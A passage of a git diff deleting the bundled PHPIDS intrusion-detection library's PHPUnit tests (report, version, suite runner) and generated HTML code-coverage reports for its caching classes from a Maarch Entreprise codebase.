WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * @package PHPIDS tests - * @version SVN: $Id:ReportTest.php 515 2007-09-15 13:43:40Z christ1an $ - */ - -require_once 'PHPUnit/Framework/TestCase.php'; -set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); -require_once 'IDS/Report.php'; -require_once 'IDS/Event.php'; - -class IDS_ReportTest extends PHPUnit_Framework_TestCase -{ - public function setUp() - { - $this->report = new IDS_Report(array( - new IDS_Event("key_a", 'val_b', - array( - new IDS_Filter(1, '^test_a1$', 'desc_a1', array('tag_a1', 'tag_a2'), 1), - new IDS_Filter(1, '^test_a2$', 'desc_a2', array('tag_a2', 'tag_a3'), 2) - ) - ), - new IDS_Event('key_b', 'val_b', - array( - new IDS_Filter(1, '^test_b1$', 'desc_b1', array('tag_b1', 'tag_b2'), 3), - new IDS_FIlter(1, '^test_b2$', 'desc_b2', array('tag_b2', 'tag_b3'), 4), - ) - ) - )); - } - - public function testEmpty() - { - $this->assertFalse($this->report->isEmpty()); - $report = new IDS_Report; - $this->assertTrue($report->isEmpty()); - } - - public function testCountable() - { - $this->assertEquals(2, count($this->report)); - } - - public function testGetterByName() - { - $this->assertEquals("key_a", $this->report->getEvent("key_a")->getName()); - $this->assertEquals("key_b", $this->report->getEvent("key_b")->getName()); - } - - public function testGetTags() - { - $this->assertEquals(array('tag_a1', 'tag_a2', 'tag_a3', 'tag_b1', 'tag_b2', 'tag_b3'), $this->report->getTags()); - } - - public function testImpactSum() - { - $this->assertEquals(10, $this->report->getImpact()); - } - - public function testHasEvent() - { - $this->assertTrue($this->report->hasEvent('key_a')); - } - - public function testAddingAnotherEventAfterCalculation() - { - $this->testImpactSum(); - $this->testGetTags(); - $this->report->addEvent(new IDS_Event('key_c', 'val_c', array(new IDS_Filter(1, 'test_c1', 'desc_c1', array('tag_c1'), 10)))); - $this->assertEquals(20, $this->report->getImpact()); - $this->assertEquals(array('tag_a1', 'tag_a2', 'tag_a3', 'tag_b1', 'tag_b2', 'tag_b3', 'tag_c1'), $this->report->getTags()); - } - - public function testIteratorAggregate() - { - $this->assertInstanceOf('IteratorAggregate', $this->report); - $this->assertInstanceOf('IteratorAggregate', $this->report->getIterator()); - } - - public function testToString() - { - $this->assertEquals(preg_match('/Total impact: 10/', $this->report->__toString()),1); - } - - public function testToStringEmpty() - { - $this->report = new IDS_Report(); - $this->assertEquals('', $this->report->__toString()); - } - - public function testGetEvent() { - $this->report->addEvent(new IDS_Event('key_c', 'val_c', array(new IDS_Filter(1, 'test_c1', 'desc_c1', array('tag_c1'), 10)))); - $this->assertTrue($this->report->getEvent('key_c') instanceof IDS_Event); - } - - public function testGetEventWrong() { - $this->assertFalse($this->report->getEvent('not_available')); - } - -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/tests/IDS/VersionTest.php b/apps/maarch_entreprise/tools/phpids/tests/IDS/VersionTest.php deleted file mode 100755 index e7f5c005b3de61e1c96064df279e2291bea18a94..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/IDS/VersionTest.php +++ /dev/null @@ -1,30 +0,0 @@ -<?php -/** - * PHPIDS - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2010 PHPIDS group (https://phpids.org) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; version 2 of the license. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * @package PHPIDS tests - * @version SVN: $Id:EventTest.php 515 2007-09-15 13:43:40Z christ1an $ - */ -require_once 'PHPUnit/Framework/TestCase.php'; -set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); -require_once 'IDS/Version.php'; - -class IDS_VersionTest extends PHPUnit_Framework_TestCase -{ - public function testVersionConstantIsDefined() - { - $this->assertSame('@@phpIdsVersion@@', IDS_Version::VERSION); - } -} diff --git a/apps/maarch_entreprise/tools/phpids/tests/allTests.php b/apps/maarch_entreprise/tools/phpids/tests/allTests.php deleted file mode 100755 index 87f9311279271cb49e27d47770787fe132bb7d23..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/allTests.php +++ /dev/null @@ -1,74 +0,0 @@ -<?php - -/** - * PHPIDS - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2010 PHPIDS group (https://phpids.org) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; version 2 of the license. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * @package PHPIDS tests - * @version SVN: $Id:allTests.php 515 2007-09-15 13:43:40Z christ1an $ - */ -error_reporting(E_ALL | E_STRICT | @E_DEPRECATED); -require_once 'PHPUnit/Framework/TestSuite.php'; -require_once 'PHPUnit/TextUI/TestRunner.php'; -require_once 'PHPUnit/Util/Filter.php'; - -PHP_CodeCoverage_Filter::getInstance()->addDirectoryToBlacklist(dirname(__FILE__)); -PHP_CodeCoverage_Filter::getInstance()->addDirectoryToBlacklist(dirname(__FILE__) . '/../lib/IDS/vendors'); - -if (!defined('PHPUnit_MAIN_METHOD')) { - define('PHPUnit_MAIN_METHOD', 'allTests'); -} - - -class allTests -{ - public static function main() - { - PHPUnit_TextUI_TestRunner::run(self::suite()); - } - - public static function suite() - { - $suite = new PHPUnit_Framework_TestSuite('PHPIDS'); - require_once 'IDS/MonitorTest.php'; - $suite->addTestSuite('IDS_MonitorTest'); - require_once 'IDS/ReportTest.php'; - $suite->addTestSuite('IDS_ReportTest'); - require_once 'IDS/InitTest.php'; - $suite->addTestSuite('IDS_InitTest'); - require_once 'IDS/ExceptionTest.php'; - $suite->addTestSuite('IDS_ExceptionTest'); - require_once 'IDS/FilterTest.php'; - $suite->addTestSuite('IDS_FilterTest'); - require_once 'IDS/CachingTest.php'; - $suite->addTestSuite('IDS_CachingTest'); - require_once 'IDS/EventTest.php'; - $suite->addTestSuite('IDS_EventTest'); - require_once 'IDS/VersionTest.php'; - $suite->addTestSuite('IDS_VersionTest'); - return $suite; - } -} - -if (PHPUnit_MAIN_METHOD == 'allTests') { - allTests::main(); -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching.html b/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching.html deleted file mode 100755 index 4b57e0bb550e618078245d42932aa31d54c8caa7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching.html +++ /dev/null @@ -1,229 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> - -<html lang="en"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <title>PHPIDS</title> - <link rel="stylesheet" type="text/css" href="style.css"> - </head> - - <body> - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="title">PHPIDS</td></tr> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - - <tr> - <td width="100%"> - <table cellpadding="1" border="0" width="100%"> - <tr> - <td class="headerItem" width="20%">Current directory:</td> - <td class="headerValue" width="80%"><a href="index.html">/home/lstrojny/Projekte/php-ids/trunk/lib/IDS</a>/<a href="Caching.html">Caching</a></td> - </tr> - <tr> - <td class="legendItem" width="20%">Legend:</td> - <td class="legendValue" width="80%"> - <span class="coverLegendLo"> - <b>Low:</b> 0% to 35% - </span> - <span class="coverLegendMed"> - <b>Medium:</b> 35% to 70% - </span> - <span class="coverLegendHi"> - <b>High:</b> 70% to 100% - </span> - </td> - </tr> - </table> - </td> - </tr> - <tr> - <td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td> - </tr> - </table> - - <br /> - - <center> - <table width="90%" cellpadding="2" cellspacing="1" border="0"> - <tr> - <td class="tableHead" width="30%"> </td> - <td class="tableHead" colspan="9">Coverage</td> - </tr> - <tr> - <td class="tableHead"> </td> - <td class="tableHead" colspan="3">Classes</td> - <td class="tableHead" colspan="3">Methods</td> - <td class="tableHead" colspan="3">Lines</td> - </tr> - <tr> - <td class="coverItem">Total</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">3 / 3</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">10 / 10</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="87" height="10" alt="87.50 %"><img src="snow.png" width="13" height="10" alt="87.50%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">87.50%</td> - <td class="coverNumHi">63 / 72</td> - </tr> - - <tr> - <td class="tableHead" colspan="10"> </td> - </tr> - <tr> - <td class="coverFile"><a href="Caching_Factory.php.html">Factory.php</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">17 / 17</td> - </tr> - - <tr> - <td class="coverFile"><a href="Caching_File.php.html">File.php</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">5 / 5</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="77" height="10" alt="77.50 %"><img src="snow.png" width="23" height="10" alt="77.50%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">77.50%</td> - <td class="coverNumHi">31 / 40</td> - </tr> - - <tr> - <td class="coverFile"><a href="Caching_Interface.php.html">Interface.php</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">0 / 0</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">0 / 0</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile"><a href="Caching_Session.php.html">Session.php</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">4 / 4</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">14 / 14</td> - </tr> - - - </table> - </center> - - <br /> - - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - <tr><td class="versionInfo">Generated by <a href="http://www.phpunit.de/">PHPUnit 3.3.1</a> and <a href="http://www.xdebug.org/">Xdebug 2.1.0-dev</a> at Mon Dec 22 13:57:42 CET 2008.</td></tr> - </table> - - <br/> - </body> -</html> diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching_Factory.php.html b/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching_Factory.php.html deleted file mode 100755 index e5817191468f9c15901346805a8e81ae933fe1e7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching_Factory.php.html +++ /dev/null @@ -1,382 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> - -<html lang="en"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <title>PHPIDS</title> - <link rel="stylesheet" type="text/css" href="style.css"> - <link rel="stylesheet" type="text/css" href="container.css"> - <script type="text/javascript" src="yahoo-dom-event.js"></script> - <script type="text/javascript" src="container-min.js"></script> - </head> - - <body class="yui-skin-sam"> - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="title">PHPIDS</td></tr> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - - <tr> - <td width="100%"> - <table cellpadding="1" border="0" width="100%"> - <tr> - <td class="headerItem" width="20%">Current file:</td> - <td class="headerValue" width="80%"><a href="index.html">/home/lstrojny/Projekte/php-ids/trunk/lib/IDS</a>/<a href="Caching.html">Caching</a>/<a href="Caching_Factory.php.html">Factory.php</a></td> - </tr> - <tr> - <td class="legendItem" width="20%">Legend:</td> - <td class="legendValue" width="80%"> - <span class="legendCov">executed</span> - <span class="legendNoCov">not executed</span> - <span class="legendDeadCode">dead code</span> - </td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td> - </tr> - </table> - - <br /> - - <center> - <table width="90%" cellpadding="2" cellspacing="1" border="0"> - <tr> - <td class="tableHead" width="30%"> </td> - <td class="tableHead" colspan="9">Coverage</td> - </tr> - <tr> - <td class="tableHead"> </td> - <td class="tableHead" colspan="3">Classes</td> - <td class="tableHead" colspan="3">Methods</td> - <td class="tableHead" colspan="3">Lines</td> - </tr> - <tr> - <td class="coverItem">Total</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">17 / 17</td> - </tr> - - <tr> - <td class="tableHead" colspan="10"> </td> - </tr> - <tr> - <td class="coverItem"><b><a href="#51">IDS_Caching</a></b></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">17 / 17</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#62">public static function factory($init, $type)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">17 / 17</td> - </tr> - - - </table> - </center> - - <br /> - - <table cellpadding="0" cellspacing="0" border="0"> - <tr> - <td><br /></td> - </tr> - <tr> - <td> -<pre class="source"> -<span class="lineNum" id="container1"><a name="1"></a><a href="#1" id="line1"> 1</a> </span> : <?php -<span class="lineNum" id="container2"><a name="2"></a><a href="#2" id="line2"> 2</a> </span> : -<span class="lineNum" id="container3"><a name="3"></a><a href="#3" id="line3"> 3</a> </span> : /** -<span class="lineNum" id="container4"><a name="4"></a><a href="#4" id="line4"> 4</a> </span> : * PHPIDS -<span class="lineNum" id="container5"><a name="5"></a><a href="#5" id="line5"> 5</a> </span> : * -<span class="lineNum" id="container6"><a name="6"></a><a href="#6" id="line6"> 6</a> </span> : * Requirements: PHP5, SimpleXML -<span class="lineNum" id="container7"><a name="7"></a><a href="#7" id="line7"> 7</a> </span> : * -<span class="lineNum" id="container8"><a name="8"></a><a href="#8" id="line8"> 8</a> </span> : * Copyright (c) 2008 PHPIDS group (https://phpids.org) -<span class="lineNum" id="container9"><a name="9"></a><a href="#9" id="line9"> 9</a> </span> : * -<span class="lineNum" id="container10"><a name="10"></a><a href="#10" id="line10"> 10</a> </span> : * PHPIDS is free software; you can redistribute it and/or modify -<span class="lineNum" id="container11"><a name="11"></a><a href="#11" id="line11"> 11</a> </span> : * it under the terms of the GNU Lesser General Public License as published by -<span class="lineNum" id="container12"><a name="12"></a><a href="#12" id="line12"> 12</a> </span> : * the Free Software Foundation, version 3 of the License, or -<span class="lineNum" id="container13"><a name="13"></a><a href="#13" id="line13"> 13</a> </span> : * (at your option) any later version. -<span class="lineNum" id="container14"><a name="14"></a><a href="#14" id="line14"> 14</a> </span> : * -<span class="lineNum" id="container15"><a name="15"></a><a href="#15" id="line15"> 15</a> </span> : * PHPIDS is distributed in the hope that it will be useful, -<span class="lineNum" id="container16"><a name="16"></a><a href="#16" id="line16"> 16</a> </span> : * but WITHOUT ANY WARRANTY; without even the implied warranty of -<span class="lineNum" id="container17"><a name="17"></a><a href="#17" id="line17"> 17</a> </span> : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -<span class="lineNum" id="container18"><a name="18"></a><a href="#18" id="line18"> 18</a> </span> : * GNU Lesser General Public License for more details. -<span class="lineNum" id="container19"><a name="19"></a><a href="#19" id="line19"> 19</a> </span> : * -<span class="lineNum" id="container20"><a name="20"></a><a href="#20" id="line20"> 20</a> </span> : * You should have received a copy of the GNU Lesser General Public License -<span class="lineNum" id="container21"><a name="21"></a><a href="#21" id="line21"> 21</a> </span> : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. -<span class="lineNum" id="container22"><a name="22"></a><a href="#22" id="line22"> 22</a> </span> : * -<span class="lineNum" id="container23"><a name="23"></a><a href="#23" id="line23"> 23</a> </span> : * PHP version 5.1.6+ -<span class="lineNum" id="container24"><a name="24"></a><a href="#24" id="line24"> 24</a> </span> : * -<span class="lineNum" id="container25"><a name="25"></a><a href="#25" id="line25"> 25</a> </span> : * @category Security -<span class="lineNum" id="container26"><a name="26"></a><a href="#26" id="line26"> 26</a> </span> : * @package PHPIDS -<span class="lineNum" id="container27"><a name="27"></a><a href="#27" id="line27"> 27</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container28"><a name="28"></a><a href="#28" id="line28"> 28</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container29"><a name="29"></a><a href="#29" id="line29"> 29</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container30"><a name="30"></a><a href="#30" id="line30"> 30</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container31"><a name="31"></a><a href="#31" id="line31"> 31</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container32"><a name="32"></a><a href="#32" id="line32"> 32</a> </span> : */ -<span class="lineNum" id="container33"><a name="33"></a><a href="#33" id="line33"> 33</a> </span> : -<span class="lineNum" id="container34"><a name="34"></a><a href="#34" id="line34"> 34</a> </span> : /** -<span class="lineNum" id="container35"><a name="35"></a><a href="#35" id="line35"> 35</a> </span> : * Caching factory -<span class="lineNum" id="container36"><a name="36"></a><a href="#36" id="line36"> 36</a> </span> : * -<span class="lineNum" id="container37"><a name="37"></a><a href="#37" id="line37"> 37</a> </span> : * This class is used as a factory to load the correct concrete caching -<span class="lineNum" id="container38"><a name="38"></a><a href="#38" id="line38"> 38</a> </span> : * implementation. -<span class="lineNum" id="container39"><a name="39"></a><a href="#39" id="line39"> 39</a> </span> : * -<span class="lineNum" id="container40"><a name="40"></a><a href="#40" id="line40"> 40</a> </span> : * @category Security -<span class="lineNum" id="container41"><a name="41"></a><a href="#41" id="line41"> 41</a> </span> : * @package PHPIDS -<span class="lineNum" id="container42"><a name="42"></a><a href="#42" id="line42"> 42</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container43"><a name="43"></a><a href="#43" id="line43"> 43</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container44"><a name="44"></a><a href="#44" id="line44"> 44</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container45"><a name="45"></a><a href="#45" id="line45"> 45</a> </span> : * @copyright 2007 The PHPIDS Group -<span class="lineNum" id="container46"><a name="46"></a><a href="#46" id="line46"> 46</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container47"><a name="47"></a><a href="#47" id="line47"> 47</a> </span> : * @version Release: $Id:Factory.php 517 2007-09-15 15:04:13Z mario $ -<span class="lineNum" id="container48"><a name="48"></a><a href="#48" id="line48"> 48</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container49"><a name="49"></a><a href="#49" id="line49"> 49</a> </span> : * @since Version 0.4 -<span class="lineNum" id="container50"><a name="50"></a><a href="#50" id="line50"> 50</a> </span> : */ -<span class="lineNum" id="container51"><a name="51"></a><a href="#51" id="line51"> 51</a> </span> : class IDS_Caching -<span class="lineNum" id="container52"><a name="52"></a><a href="#52" id="line52"> 52</a> </span> : { -<span class="lineNum" id="container53"><a name="53"></a><a href="#53" id="line53"> 53</a> </span> : -<span class="lineNum" id="container54"><a name="54"></a><a href="#54" id="line54"> 54</a> </span> : /** -<span class="lineNum" id="container55"><a name="55"></a><a href="#55" id="line55"> 55</a> </span> : * Factory method -<span class="lineNum" id="container56"><a name="56"></a><a href="#56" id="line56"> 56</a> </span> : * -<span class="lineNum" id="container57"><a name="57"></a><a href="#57" id="line57"> 57</a> </span> : * @param array $init the IDS_Init object -<span class="lineNum" id="container58"><a name="58"></a><a href="#58" id="line58"> 58</a> </span> : * @param string $type the caching type -<span class="lineNum" id="container59"><a name="59"></a><a href="#59" id="line59"> 59</a> </span> : * -<span class="lineNum" id="container60"><a name="60"></a><a href="#60" id="line60"> 60</a> </span> : * @return object the caching facility -<span class="lineNum" id="container61"><a name="61"></a><a href="#61" id="line61"> 61</a> </span> : */ -<span class="lineNum" id="container62"><a name="62"></a><a href="#62" id="line62"> 62</a> </span> : public static function factory($init, $type) -<span class="lineNum" id="container63"><a name="63"></a><a href="#63" id="line63"> 63</a> </span> : { -<span class="lineNum" id="container64"><a name="64"></a><a href="#64" id="line64"> 64</a> </span> : -<span class="lineNum" id="container65"><a name="65"></a><a href="#65" id="line65"> 65</a> </span><span class="lineCov"> 50 : $object = false; </span> -<span class="lineNum" id="container66"><a name="66"></a><a href="#66" id="line66"> 66</a> </span><span class="lineCov"> 50 : $wrapper = preg_replace( </span> -<span class="lineNum" id="container67"><a name="67"></a><a href="#67" id="line67"> 67</a> </span><span class="lineCov"> 50 : '/\W+/m', </span> -<span class="lineNum" id="container68"><a name="68"></a><a href="#68" id="line68"> 68</a> </span><span class="lineCov"> 50 : null, </span> -<span class="lineNum" id="container69"><a name="69"></a><a href="#69" id="line69"> 69</a> </span><span class="lineCov"> 50 : ucfirst($init->config['Caching']['caching']) </span> -<span class="lineNum" id="container70"><a name="70"></a><a href="#70" id="line70"> 70</a> </span><span class="lineCov"> 50 : ); </span> -<span class="lineNum" id="container71"><a name="71"></a><a href="#71" id="line71"> 71</a> </span><span class="lineCov"> 50 : $class = 'IDS_Caching_' . $wrapper; </span> -<span class="lineNum" id="container72"><a name="72"></a><a href="#72" id="line72"> 72</a> </span><span class="lineCov"> 50 : $path = dirname(__FILE__) . DIRECTORY_SEPARATOR . </span> -<span class="lineNum" id="container73"><a name="73"></a><a href="#73" id="line73"> 73</a> </span><span class="lineCov"> 50 : $wrapper . '.php'; </span> -<span class="lineNum" id="container74"><a name="74"></a><a href="#74" id="line74"> 74</a> </span> : -<span class="lineNum" id="container75"><a name="75"></a><a href="#75" id="line75"> 75</a> </span><span class="lineCov"> 50 : if (file_exists($path)) { </span> -<span class="lineNum" id="container76"><a name="76"></a><a href="#76" id="line76"> 76</a> </span><span class="lineCov"> 49 : include_once $path; </span> -<span class="lineNum" id="container77"><a name="77"></a><a href="#77" id="line77"> 77</a> </span> : -<span class="lineNum" id="container78"><a name="78"></a><a href="#78" id="line78"> 78</a> </span><span class="lineCov"> 49 : if (class_exists($class)) { </span> -<span class="lineNum" id="container79"><a name="79"></a><a href="#79" id="line79"> 79</a> </span><span class="lineCov"> 49 : $object = call_user_func(array($class, 'getInstance'), </span> -<span class="lineNum" id="container80"><a name="80"></a><a href="#80" id="line80"> 80</a> </span><span class="lineCov"> 49 : $type, $init); </span> -<span class="lineNum" id="container81"><a name="81"></a><a href="#81" id="line81"> 81</a> </span><span class="lineCov"> 49 : } </span> -<span class="lineNum" id="container82"><a name="82"></a><a href="#82" id="line82"> 82</a> </span><span class="lineCov"> 49 : } </span> -<span class="lineNum" id="container83"><a name="83"></a><a href="#83" id="line83"> 83</a> </span> : -<span class="lineNum" id="container84"><a name="84"></a><a href="#84" id="line84"> 84</a> </span><span class="lineCov"> 50 : return $object; </span> -<span class="lineNum" id="container85"><a name="85"></a><a href="#85" id="line85"> 85</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container86"><a name="86"></a><a href="#86" id="line86"> 86</a> </span> : } -<span class="lineNum" 